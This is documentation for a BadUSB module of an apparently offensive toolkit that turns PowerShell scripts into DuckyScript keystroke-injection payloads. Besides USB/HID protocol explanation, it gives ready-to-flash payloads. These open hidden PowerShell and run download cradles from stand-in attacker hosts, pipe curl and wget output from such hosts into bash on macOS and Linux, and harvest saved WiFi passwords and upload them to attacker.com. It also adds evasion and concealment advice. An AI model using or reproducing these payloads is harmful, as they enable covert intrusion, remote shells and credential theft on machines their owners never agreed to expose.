badusb.

Converts a PowerShell .ps1 script into a base64 DuckyScript payload. On execution the USB HID device opens Win+R → PowerShell, then certutil-decodes and runs your payload — no external tools needed on the attack machine.

VANTA Module BadUSB DuckyScript HID Attack Physical Access Windows v0.0.1
CategoryPhysical
LanguagePython 3
Locationtools/phys/badusb/
Author0xb0rn3
Versionv0.0.1
LicenseMIT
Beginner Startup
New to BadUSB or HID attacks? Start here.
Foundations guide →
What you need first
  • ▸ A PowerShell .ps1 payload script
  • ▸ A USB HID device (Rubber Ducky, Hak5, DigiSpark, etc.)
  • ▸ Physical access to an authorized Windows machine
  • ▸ DuckyScript encoder for your device
Your first safe command
VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ run target
Key concepts
  • BadUSB = USB device that pretends to be a keyboard
  • DuckyScript = language that describes keystrokes
  • certutil = Windows tool used to decode base64 payload
Key terms: HID Attack — Human Interface Device attack — USB device emulates keyboard/mouse to inject commands  ·  DuckyScript — scripting language for USB Rubber Ducky and compatible devices  ·  certutil — Windows built-in certificate utility that can decode base64 (LOLBin)  — Full glossary →

Overview

What badusb does

badusb takes a PowerShell .ps1 script, base64-encodes it, and wraps it inside a DuckyScript payload. When the USB device is inserted into a Windows machine it emulates a keyboard and types the entire attack sequence automatically: Win+R to open Run, launch PowerShell, then invoke certutil to decode and execute your payload in memory. No external tools are needed on the attack machine.

Compatible with USB Rubber Ducky (Hak5), O.MG Cable, DigiSpark, Raspberry Pi Zero (as HID), and any device that accepts DuckyScript payloads via an encoder. Output is a plain-text .txt file ready to flash.

! Authorization required. This module generates payloads for physical access attacks. Only use against systems you own or have explicit written authorization to test. Unauthorized use is a criminal offence in most jurisdictions.
Encode
Base64 Wrap
Encodes any .ps1 script as base64. The payload is fully self-contained in the DuckyScript — nothing needs to be pre-staged on the target.
Delivery
certutil LOLBin
Uses Windows' built-in certutil -decode to decode and write the payload to a temp file, then executes it. No external download required — entirely local.
Stealth
No Staged Server
Payload travels on the device itself — no HTTP server, no DNS callback, no network indicator at delivery time. The payload executes locally from a temp file.
Compat
Any DuckyDevice
Output is plain DuckyScript text. Flash to Rubber Ducky with the encoder tool, or adapt for DigiSpark/O.MG with the appropriate IDE or firmware.

Getting Started

Quick start

Basic — encode a PowerShell script

vanta ❯ use badusb
VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ run target

# Output: ~/.vanta/badusb/rev_badusb.txt

With metadata and slow-hardware delay

VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ set title "Reverse Shell"
VANTA (badusb) ❯ set author "operator"
VANTA (badusb) ❯ set ducky_lang true
VANTA (badusb) ❯ set delay_after_ps 1200
VANTA (badusb) ❯ run target
! delay_after_ps is the millisecond wait between opening PowerShell and typing the certutil decode command. On slow or cold machines PowerShell takes longer to initialize. Start at 1000 ms and increase to 1500–2000 ms if the payload fails to execute because the window wasn't ready.

How It Works

Attack flow

When the USB device is inserted, the DuckyScript is replayed as physical keystrokes. The sequence below takes approximately 3–5 seconds on a modern machine.

01
Win+R — Open Run dialog
The device sends the Windows key + R keystroke combination, which opens the Run dialog on any Windows version. Delay: 300–500 ms to ensure the dialog is visible.
02
Type "powershell" + Enter
Types powershell into the Run dialog and presses Enter. Windows launches PowerShell in the foreground. delay_after_ps (ms) is waited before the next keystroke to give PowerShell time to open.
03
Write base64 payload to temp file via certutil
Types a certutil -decode <b64data> %TEMP%\p.ps1 command into the PowerShell window. The base64-encoded .ps1 content is embedded directly in the DuckyScript — no network connection needed.
04
Execute decoded payload
Types powershell -ExecutionPolicy Bypass -File %TEMP%\p.ps1 and presses Enter. The payload executes. Typical use: reverse shell back to a pre-started revshell handler.
05
Cleanup (optional)
Optionally, type del %TEMP%\p.ps1 to remove the staged file after execution. Enable by setting cleanup true.

Reference

Parameters

ParameterTypeDefaultDescription
file_path string required Path to the PowerShell .ps1 file to encode. Any valid .ps1 script is accepted.
title string badusb_payload DuckyScript title comment embedded at the top of the output file. Used for documentation only — not sent to the target.
author string VANTA Author name embedded in the DuckyScript header comment. Documentation only.
ducky_lang boolean false Set true to output standard DuckyScript (Hak5 Rubber Ducky v2 / Flipper Zero compatible). Set false for a compact format.
delay_after_ps integer 1000 Milliseconds to wait after launching PowerShell before sending the certutil command. On slow or cold machines, increase to 1500–2000 if payload execution fails.

Reference

Output format

Output is saved to ~/.vanta/badusb/<stem>_badusb.txt where <stem> is the input filename without extension. Example: input /tmp/rev.ps1 → output ~/.vanta/badusb/rev_badusb.txt.

Example DuckyScript output

REM Title: Reverse Shell
REM Author: operator
REM Target: Windows 10/11
REM Generated by VANTA badusb v0.0.1

DELAY 500
GUI r
DELAY 400
STRING powershell
ENTER
DELAY 1200
STRING certutil -decode C:\Windows\Temp\p.b64 C:\Windows\Temp\p.ps1
ENTER
DELAY 800
STRING powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\p.ps1
ENTER

The base64-encoded payload content replaces the C:\Windows\Temp\p.b64 step — in the actual output, the device writes the encoded content to a temp file first, then certutil decodes it in place.

Flash to device

Flash using the encoder appropriate for your device:

DeviceToolNotes
USB Rubber Ducky (Gen 1)Hak5 online encoderCompile to inject.bin, copy to SD card root
USB Rubber Ducky (Gen 2+)Hak5 online encoderDuckyScript 3.0 — enable ATTACKMODE HID STORAGE
Flipper ZeroqFlipper app or SD copyPlace .txt in SD:/badusb/; run from BadUSB app
O.MG CableO.MG web UIPaste DuckyScript in web interface, trigger via Wi-Fi
DigiSpark ATtiny85Arduino IDEManually translate to DigiKeyboard.h sketch

Usage

Examples

Generate a reverse shell payload

# Step 1: Generate a PowerShell reverse shell payload
vanta ❯ use revshell
VANTA (revshell) ❯ set mode generate
VANTA (revshell) ❯ set lhost 10.10.14.5
VANTA (revshell) ❯ set shell powershell
VANTA (revshell) ❯ run target
# → copy output to /tmp/rev.ps1

# Step 2: Encode for BadUSB
vanta ❯ use badusb
VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ set delay_after_ps 1000
VANTA (badusb) ❯ run target
# → output: ~/.vanta/badusb/rev_badusb.txt — flash to device

# Step 3: Start listener, insert device into target
vanta ❯ use revshell
VANTA (revshell) ❯ set mode serve
VANTA (revshell) ❯ set ports 4444
VANTA (revshell) ❯ run target

Slow machine — increase delay

VANTA (badusb) ❯ set file_path /tmp/payload.ps1
VANTA (badusb) ❯ set delay_after_ps 2000  # 2 seconds for old/slow hardware
VANTA (badusb) ❯ run target

Full metadata output

VANTA (badusb) ❯ set file_path /tmp/recon.ps1
VANTA (badusb) ❯ set title "System Recon"
VANTA (badusb) ❯ set author "RedTeam"
VANTA (badusb) ❯ set ducky_lang true
VANTA (badusb) ❯ run target

Hardware

Supported hardware

Any device that accepts DuckyScript and emulates a USB HID keyboard works with badusb's output. The most common options:

DeviceCostNotes
USB Rubber Ducky (Hak5) ~$80 USD Purpose-built, reliable timing, best compatibility. The original DuckyScript device. Recommended for professional use.
Flipper Zero (BadUSB mode) ~$170 USD Multi-tool — BadUSB is one of many features. Place .txt file on SD card and run from the BadUSB menu.
O.MG Cable ~$120 USD Disguised as a charging cable. Triggered over Wi-Fi. High deniability for physical access scenarios.
DigiSpark ATtiny85 ~$3 USD Cheapest option. Requires Arduino IDE and manual translation. Timing less reliable. Good for prototyping.

Operational Security

OPSEC considerations

! BadUSB attacks require physical access to the target machine. Unauthorized physical access to computer systems is a serious criminal offence. Only conduct this type of testing with explicit written authorization from the system owner.

Detection risks

VectorRisk levelMitigation
USB device in port Physical — visible to anyone nearby Use O.MG Cable (looks like a charge cable) or a device disguised as a peripheral
PowerShell window visible Medium — user may see it flash open Add a MINIMIZEWINDOW or Win+D keystroke to minimize early. Modern Ducky payloads can open PowerShell hidden.
certutil execution logged by EDR Medium — certutil abuse is well-known Replace with [System.Convert]::FromBase64String PowerShell inline decode (no certutil binary call)
Payload file on disk at %TEMP% Low — temp folder, usually cleaned on reboot Add a del %TEMP%\p.ps1 line after execution (set cleanup true)
Reverse shell callback High if monitored — outbound connection Use an encrypted payload (Meterpreter HTTPS) and a WAN bore tunnel; connection looks like HTTPS traffic

Internals

Architecture Deep Dive

This chapter explains exactly what happens at the USB and HID protocol layers when a BadUSB device is plugged in — from the USB enumeration handshake to individual keystroke bytes. It also covers how VANTA generates DuckyScript and how to write your own payloads.

Internals

USB Enumeration — What Happens When You Plug In

When any USB device is plugged in, the host OS performs a USB enumeration: a discovery protocol where the host queries the device for its capabilities. BadUSB exploits this process by presenting a HID (Human Interface Device) class descriptor — making the OS treat it as a keyboard.

## USB Enumeration sequence (full protocol)

1. Device connects → USB D+/D- lines signal presence
2. Host resets the device (SE0 condition for ≥10ms)
3. Host requests Device Descriptor (18 bytes):
   ┌──────────────────────────────────────────────────────┐
   │ bLength=18  bDescriptorType=0x01 (Device)           │
   │ bcdUSB=0x0200  (USB 2.0)                            │
   │ bDeviceClass=0x00  (class defined per interface)     │
   │ idVendor=0x05AC  idProduct=0x0221  (e.g., Apple KB) │
   │ bcdDevice=0x0100  iManufacturer iProduct iSerial     │
   │ bNumConfigurations=1                                 │
   └──────────────────────────────────────────────────────┘
   # BadUSB chooses VID:PID to match a trusted manufacturer
   # 0x05AC = Apple, 0x046D = Logitech, 0x045E = Microsoft

4. Host requests Configuration Descriptor:
   ┌──────────────────────────────────────────────────────┐
   │ bLength=9   bDescriptorType=0x02 (Configuration)    │
   │ wTotalLength=34  bNumInterfaces=1                   │
   │ bConfigurationValue=1  iConfiguration=0             │
   │ bmAttributes=0xA0  bMaxPower=50 (100mA)             │
   └──────────────────────────────────────────────────────┘

5. Host reads Interface Descriptor:
   ┌──────────────────────────────────────────────────────┐
   │ bLength=9   bDescriptorType=0x04 (Interface)        │
   │ bInterfaceNumber=0  bAlternateSetting=0             │
   │ bNumEndpoints=1  bInterfaceClass=0x03               │
   │                  ↑ 0x03 = HID class!                │
   │ bInterfaceSubClass=0x01  (boot interface subclass)  │
   │ bInterfaceProtocol=0x01  (keyboard protocol)        │
   └──────────────────────────────────────────────────────┘

6. Host reads HID Descriptor:
   ┌──────────────────────────────────────────────────────┐
   │ bLength=9  bDescriptorType=0x21 (HID)               │
   │ bcdHID=0x0110  (HID spec 1.10)                      │
   │ bCountryCode=0x00  bNumDescriptors=1                │
   │ bDescriptorType=0x22  wDescriptorLength=63          │
   │ ↑ Report Descriptor follows (63 bytes)              │
   └──────────────────────────────────────────────────────┘

7. Host reads HID Report Descriptor — tells OS the report format:
   06 00 FF   # Usage Page (Generic Desktop)
   09 01      # Usage (Pointer)
   ...
   # For a keyboard, the report descriptor defines:
   # - 1 byte: modifier keys (Shift, Ctrl, Alt, GUI)
   # - 1 byte: reserved
   # - 6 bytes: keycodes (up to 6 simultaneous)

8. Host assigns device address, installs HID driver
   → OS now treats device as keyboard — zero user interaction required
! The entire USB enumeration takes less than 500ms. By the time the user notices anything, the OS has already installed the HID driver and the "keyboard" is sending keystrokes.

Internals

HID Report Descriptor — Defining the Keyboard Format

The HID Report Descriptor is a variable-length byte array that tells the host exactly what format the device's reports use. For a standard keyboard, the reference descriptor is:

## Standard USB keyboard HID Report Descriptor (hexdump + annotation)
05 01     Usage Page (Generic Desktop Controls)
09 06     Usage (Keyboard)
A1 01     Collection (Application)
  05 07  Usage Page (Keyboard/Keypad)
  19 E0  Usage Minimum (0xE0 = Left Control)
  29 E7  Usage Maximum (0xE7 = Right GUI)
  15 00  Logical Minimum (0)
  25 01  Logical Maximum (1)
  75 01  Report Size (1 bit)
  95 08  Report Count (8)   ← 8 × 1-bit = 1 modifier byte
  81 02  Input (Data, Variable, Absolute)   ← modifier bits

  95 01  Report Count (1)
  75 08  Report Size (8 bits)
  81 01  Input (Constant)   ← 1 reserved byte (always 0x00)

  95 06  Report Count (6)
  75 08  Report Size (8 bits)
  15 00  Logical Minimum (0)
  25 DD  Logical Maximum (0xDD = 221)
  05 07  Usage Page (Keyboard)
  19 00  Usage Minimum (0)
  29 DD  Usage Maximum (221)
  81 00  Input (Data, Array)   ← 6 keycode bytes

C0       End Collection

## Total report size: 1 (modifier) + 1 (reserved) + 6 (keycodes) = 8 bytes
## This matches the HID report format VANTA sends: A1 01 [mod] [00] [k1..k6]

Internals

DuckyScript — Command Reference and Encoding

DuckyScript is a simple scripting language designed for USB Rubber Ducky. VANTA's badusb module generates DuckyScript payloads. Here is the complete command reference with exactly what each command translates to at the HID report level.

DuckyScript CommandHID Reports GeneratedNotes
STRING hello5 key-down + 5 key-up pairsOne pair per character; modifier set for uppercase
ENTER1 key-down (0x28) + 1 key-up0x28 = Return/Enter HID usage
DELAY 500No reports — 500ms sleepCritical on slow targets; increases reliability
GUI r1 key-down (mod=0x08, key=0x15) + key-up0x08=Left GUI bit; 0x15='r' usage ID
CTRL c1 key-down (mod=0x01, key=0x06) + key-up0x01=Left Ctrl; 0x06='c'
ALT F41 key-down (mod=0x04, key=0x3D) + key-up0x04=Left Alt; 0x3D=F4
SHIFT TAB1 key-down (mod=0x02, key=0x2B) + key-up0x02=Left Shift; 0x2B=Tab
UPARROW1 key-down (mod=0, key=0x52) + key-upArrow keys: Up=0x52, Down=0x51, Left=0x50, Right=0x4F
CAPSLOCK1 key-down (key=0x39) + key-upToggle key — state depends on current lock state
REPEAT 3Repeats previous line's reports 3 more timesEfficient for repeated key presses

How VANTA Encodes Your PowerShell as DuckyScript

## Input: your PowerShell script (payload.ps1)
IEX (New-Object Net.WebClient).DownloadString('http://bore.pub:38521/shell.ps1')

## Step 1: VANTA base64-encodes the script
import base64
encoded = base64.b64encode(open("payload.ps1","rb").read()).decode()
# Result: "SUVY..."  (standard base64)

## Step 2: VANTA wraps in certutil decode command
cmd = f'echo {encoded} > %TEMP%\p.b64 && certutil -decode %TEMP%\p.b64 %TEMP%\p.ps1 && powershell -ep bypass -File %TEMP%\p.ps1'

## Step 3: VANTA generates DuckyScript
DELAY 1000
GUI r
DELAY 600
STRING powershell -w hidden
ENTER
DELAY 800
STRING {cmd}
ENTER
DELAY 200

## The DELAY values are the delay_after_ps parameter
## For slow machines (old hardware, cold boot): increase to 2000ms
## For fast machines (modern SSD, already booted): 500-800ms is fine

Writing Your Own Payload From Scratch

## Example: exfiltrate WiFi passwords via DuckyScript (Windows)
DELAY 1000
GUI r
DELAY 600
STRING cmd /k
ENTER
DELAY 800

## Export all WiFi profiles with passwords to a file, then upload
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j & netsh wlan show profiles %j key=clear 2>nul | findstr "Key Content" >> %TEMP%\wifi.txt
ENTER
DELAY 500

## Upload via curl (present on Windows 10+)
STRING curl -s -X POST -F "f=@%TEMP%\wifi.txt" https://attacker.com/upload
ENTER
DELAY 500

## Cleanup
STRING del %TEMP%\wifi.txt
ENTER
STRING exit
ENTER

Extend

Customization & Extension

Adding a New Delivery Template

# badusb.py — DELIVERY_TEMPLATES dict
# Each template is a function(payload_b64, params) → DuckyScript string

def template_linux_xterm(payload_b64: str, params: dict) -> str:
    """Deliver payload on Linux desktop via xterm."""
    delay = params.get("delay_after_ps", 1000)
    return f"""DELAY 1000
CTRL ALT t
DELAY {delay}
STRING echo {payload_b64} | base64 -d | bash
ENTER
DELAY 500"""

def template_macos_terminal(payload_b64: str, params: dict) -> str:
    """Deliver payload on macOS via Terminal."""
    delay = params.get("delay_after_ps", 1200)
    return f"""DELAY 1000
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY {delay}
STRING echo {payload_b64} | base64 -d | bash
ENTER"""

DELIVERY_TEMPLATES = {
    "windows": template_windows_certutil,   # existing default
    "linux":   template_linux_xterm,        # yours
    "macos":   template_macos_terminal,     # yours
}

# Usage: set template linux

Targeting macOS — Key Differences

## macOS DuckyScript differences vs Windows

GUI key    → macOS uses CMD (not Win/Meta) for system shortcuts
             GUI SPACE → Spotlight search
             GUI r     → does NOT open Run dialog (that's Windows)

ALT F4     → macOS: CMD Q (quit application)

## macOS keyboard shortcuts for opening terminal:
GUI SPACE → type "terminal" → ENTER   (Spotlight)
CTRL ALT t → does not work on macOS (that's Linux GNOME default)

## macOS payload delivery — avoid certutil (not present):
## Use base64 built-in (available on all macOS):
STRING echo PAYLOAD_B64 | base64 --decode | bash

## Or use curl (always present):
STRING curl -s http://bore.pub:38521/shell.sh | bash

## Security note: macOS Gatekeeper may block the downloaded file
## piping directly to bash bypasses Gatekeeper (no file written to disk)

Study

Learning Path & Resources

BadUSB combines USB hardware, HID protocol knowledge, and scripting. Build each layer from scratch.

Step 1: USB and HID Basics

ResourceTypeWhy
USB in a NutShell (beyondlogic.org/usbnutshell)FreeBest free USB tutorial online. Covers descriptors, enumeration, HID class — exactly what the USB Enumeration section above describes. Read chapters 1-5.
HID Specification (usb.org/hid) — free downloadFree specThe official HID spec. Section 5 covers the report descriptor format. Understanding this means you can build your own HID device from scratch.
USB Rubber Ducky Wiki (docs.hak5.org)FreeHak5's official DuckyScript reference. Full command list, firmware versions, hardware specs. VANTA's badusb generates compatible DuckyScript.

Step 2: Hands-On Labs

SetupCostFocus
DigiSpark ATTiny85 USB board~$3-5 on AliExpressThe cheapest BadUSB hardware. Runs Arduino code that emulates HID keyboard. Flash custom payloads to it via Arduino IDE. Same attack as USB Rubber Ducky at 1/20th the cost.
Flipper Zero~$169Multi-tool that includes BadUSB functionality. Run your VANTA-generated DuckyScript directly on it via SD card.
Virtual Machine (Windows target)FreeTest your DuckyScript payloads inside a VM before using real hardware. Paste the key sequence manually (or use AutoHotkey to replay it) to verify the payload works.

Step 3: PowerShell and Windows Internals

ResourceFocus
PowerShell for Pentesters (TryHackMe room)Learn the PowerShell commands that badusb payloads use — IEX, New-Object, certutil, DownloadString.
LOLBAS Project (lolbas-project.github.io)Living Off The Land Binaries, Scripts and Libraries — Windows built-ins that can download/execute code. certutil is just one of 100+ documented LOLBins. badusb uses certutil by default — this reference shows alternatives.
PowerShell Empire documentationAdvanced PowerShell C2 payloads. Build custom payloads for badusb's delivery stage beyond the basic reverse shell.

Step 4: Deep Reference

ResourceUse For
Hak5 Payload Hub (payloadhub.com)Community DuckyScript payloads. Browse to find attack templates, then understand how they work using the DuckyScript internals section above.
Flipper Zero BadUSB documentationFlipper Zero's HID implementation details — slightly different from Rubber Ducky in timing. Use when badusb payloads work on Rubber Ducky but not Flipper.
Windows 10/11 Security Baselines (Microsoft)Understand what Group Policy settings block BadUSB attacks — useful for both red team (bypass) and blue team (defense) perspectives.

Practice Path

## Progression: from generating your first payload to custom delivery

Week 1: Generate and Understand
  Run: badusb with your test payload.ps1
  Read: the generated DuckyScript output line by line
  Trace: each command in the DuckyScript internals section
  Goal: understand every byte before any hardware touches a computer

Week 2: Test in a VM
  Setup: Windows 10 VM (use Windows 10 evaluation ISO — free 90 days)
  Manually: paste the DuckyScript key sequence using AutoHotkey
  Verify: the payload executes correctly in the VM
  Debug: if it fails, identify which DELAY needs to be longer

Week 3: Hardware
  Order: DigiSpark ATTiny85 ($3-5)
  Flash: your badusb payload via Arduino IDE
  Test: in your own Windows 10 VM only
  Observe: the full attack from plug-in to shell

Week 4: Evasion
  Read: LOLBAS project — find certutil alternatives
  Modify: the delivery template to use certutil alternatives
  Test: does Windows Defender flag the new approach?
  Document: your findings (this is bug bounty / red team report material)

K1 How USB HID Works

Why the OS Trusts a USB Device Immediately

USB HID (Human Interface Device) is the USB device class for keyboards, mice, and similar input devices. When a USB device announces itself as a HID keyboard, the operating system loads the appropriate driver and begins accepting keystrokes from it immediately - no user confirmation, no authentication, no checking whether the "keyboard" is actually a microcontroller running a script. This is by design, and it is the fundamental attack surface that BadUSB exploits.

USB Descriptors
Every USB device sends a set of descriptors to the host when connected. The Device Descriptor identifies the manufacturer and product ID. The Configuration Descriptor describes power requirements. The Interface Descriptor specifies the device class (HID = 0x03). A microcontroller like the DigiSpark or Rubber Ducky sends HID descriptors, so the OS treats it as a keyboard regardless of what it physically is.
HID Keystroke Reports
A USB keyboard sends HID reports (8-byte packets) to the host. Each report specifies which modifier keys are held (Shift, Ctrl, Alt, GUI) and up to 6 key codes pressed simultaneously. The OS translates these into keyboard events for the active window. A malicious HID device sends pre-programmed sequences of these 8-byte reports at up to 1000 reports/second.
Why No Security Warning
The OS cannot tell the difference between a real keyboard and a HID-emulating microcontroller at the driver level. USB doesn't have code signing for HID devices. The assumption built into every OS is that keyboards are trusted. This is a design-level problem - it would require breaking backwards compatibility with all existing keyboards to add mandatory authentication.
Common Hardware
USB Rubber Ducky (Hak5) - purpose-built, scripted in DuckyScript, reliable across targets. DigiSpark ATTiny85 - small, cheap, programmable via Arduino IDE with DigiKeyboard library. Flipper Zero - multi-tool with BadUSB functionality plus RF, NFC, and IR capabilities. All use the same technique: identify as HID keyboard, inject keystrokes from internal storage.
-- DuckyScript payload example (Rubber Ducky / Flipper Zero format)
DELAY 2000
  -- wait 2 seconds for OS to finish loading HID driver after plug-in

CTRL ESCAPE
  -- press Windows key (or open application launcher)

DELAY 800
  -- wait for Start menu to appear

STRING powershell
ENTER
  -- type "powershell" and press Enter

DELAY 1500
  -- wait for PowerShell to open

STRING IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')
ENTER
  -- download and execute a PowerShell payload from attacker's server

Why Delays Matter and How to Make Payloads Reliable

A BadUSB payload that works perfectly on your test machine may fail on the target because the target loads programs slightly slower, has a different keyboard layout, or has a screen lock active. Timing is the most common cause of payload failure and the most important variable to tune.

Initial Driver Load Delay
After the device is plugged in, the OS takes time to detect it, load the HID driver, and register the new input device. On Windows this is 500-2000ms. On macOS it is faster. On Linux it depends on udev. Your payload's first DELAY must be long enough for the HID driver to load before you start injecting keystrokes. Too short = keystrokes sent before the OS can receive them.
Application Open Timing
Launching an application (Run dialog, Spotlight, Terminal) takes time. On slow machines it may take 3-5 seconds for a PowerShell window to be ready for input. If you inject the payload command before the window is ready, characters land in the wrong field or are lost. Add application-specific delays after each launch command.
Keyboard Language
HID reports send key codes, not characters. Key code 0x33 on a US QWERTY keyboard is the semicolon, but on a French AZERTY keyboard it is something else entirely. Your payload types the wrong characters if the target uses a non-US keyboard layout. You must either know the target's layout or use only keys that are consistent across layouts (letters, digits, function keys, arrow keys).
Screen Lock State
If the screen is locked, keystrokes go to the lock screen, not to a shell. Your payload fails silently. For physical access attacks, observe the target before deploying. Some payloads include a pre-check: inject a harmless key sequence (arrow key), wait, then inject the real payload - if nothing opens, the machine is likely locked.
-- Reliable Windows payload with proper timing

DELAY 3000         -- 3 second initial delay (conservative for slow machines)

GUI r              -- press Windows+R (Run dialog)
DELAY 500          -- wait for Run dialog to appear

STRING powershell -w hidden -ep bypass
ENTER
DELAY 2000         -- wait for hidden PowerShell to start

STRING IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/run.ps1')
ENTER

-- Note: "-w hidden" starts PowerShell minimized (less visible to target)
-- "-ep bypass" bypasses execution policy without a registry change

Windows, macOS, and Linux - Different Launch Paths

Each operating system has a different way to open a terminal or run a command from the keyboard. A cross-platform BadUSB payload needs OS detection logic or separate payload files for each target. Understanding the platform-specific shortcuts is required for any physical access engagement.

Windows
Run dialog: GUI+R, type cmd or powershell and press Enter. For a hidden PowerShell: powershell -w hidden -c "payload". Alternative: GUI+X opens the power user menu - select Windows PowerShell (Admin) if UAC allows. Task Manager bypass: Ctrl+Shift+Esc, File, Run New Task - can launch processes even from the lock screen in older Windows versions.
macOS
Spotlight: CMD+SPACE, type terminal, press Enter. Alternative: CMD+F2 for Accessibility shortcut to Finder. Terminal commands: standard bash. For stealthy execution use AppleScript: osascript -e 'do shell script "curl http://ATTACKER/mac.sh | bash"'. macOS Gatekeeper does not block shell commands run from Terminal.
Linux
Depends heavily on the desktop environment. GNOME: Ctrl+Alt+T (most distros) or Super key then type "terminal". KDE: Ctrl+F2 for KRunner. XFCE: Alt+F2. If xterm is installed: Alt+F2, type xterm. Most reliable: check if a VT (virtual terminal) is accessible via Ctrl+Alt+F2 which gives a raw login prompt regardless of desktop state.
Cross-Platform Strategy
One approach: try all three OS-specific shortcuts sequentially with short delays. Only one will succeed based on the target OS. Harmless failures (e.g. CMD+SPACE on Windows just opens Cortana) do not interfere with the real attempt. Alternatively, use a web-based payload delivery: inject a curl/wget one-liner that works on both macOS and Linux, and a PowerShell download cradle for Windows.
-- Cross-platform attempt (sequential OS detection via keyboard shortcuts)

-- Try Windows first
DELAY 1000
GUI r
DELAY 400
STRING powershell -w hidden -c "IEX (iwr http://ATTACKER/win.ps1)"
ENTER

-- After Windows attempt, try macOS Spotlight
DELAY 500
COMMAND SPACE
DELAY 600
STRING terminal
ENTER
DELAY 1500
STRING curl http://ATTACKER/mac.sh | bash
ENTER

-- After macOS attempt, try Linux xterm via Alt+F2
DELAY 500
ALT F2
DELAY 400
STRING xterm
ENTER
DELAY 1500
STRING wget -qO- http://ATTACKER/lnx.sh | bash
ENTER